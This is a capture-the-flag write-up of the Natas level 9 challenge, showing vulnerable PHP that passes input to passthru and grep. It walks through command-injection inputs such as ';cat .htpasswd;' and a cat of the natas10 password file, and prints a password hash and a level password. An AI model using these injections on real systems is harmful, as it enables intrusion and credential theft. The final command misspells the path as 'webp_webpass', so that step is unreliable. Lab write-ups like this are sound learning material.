Natas Level 8 - Level 9

Logging in we are presented with a field titled 'Find words containing' where we can enter a string. Lets test it.

Typing in the word hello and then pressing search we get the following:

```
hello
hello's
hellos
```

Lets try a different word, we will use the word 'world'.

```
underworld
underworld's
underworlds
world
world's
worldlier
worldliest
worldly
worlds
worldwide
```

It appears the word you enter is referenced to a dictionary text file, any matches of the word that contain the word will be returned.

Lets have a look at the source code.

```
`<?   $key = "";
if(array_key_exists("needle", $_REQUEST)) {    $key = $_REQUEST["needle"];
}      if($key != "") {    passthru("grep -i $key dictionary.txt");   }   ?>
</pre>      <div id="viewsource"><a href="index-
source.html">View sourcecode</a></div>   </div>   </body>   </html>
```

There doesnt appear to be any key like the previous levels we can work from. Perhaps we can execute commands via the input field.

Type in ;ls in the input field.

```
Output:

dictionary.txt
```

Looks like it is susceptible to some form of injection.

Lets try ;ls -a; to list all the files in this directory.

```
Output:

.
..
.htaccess
.htpasswd
dictionary.txt
index-source.html
index.php
```

Lets cat the contents of .htpasswd. We type in ;cat .htpasswd;

```
Output:

natas9:$apr1$p5hxEdIi$jDg7hmdch008hyW9lyEIr0
```

This isnt the password we are looking for, since we need natas10.

Lets move up the folder or traverse like we did in level 6 - level 7. Lets see if the /etc/natas_webpass/ folder exists with a natas10 file.

```
; ls /etc/natas_webpass/natas10
```

Lets cat the natas10 file to the screen by entering ;cat /etc/webp_webpass/natas10

```
t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu
```

This is the password for natas10!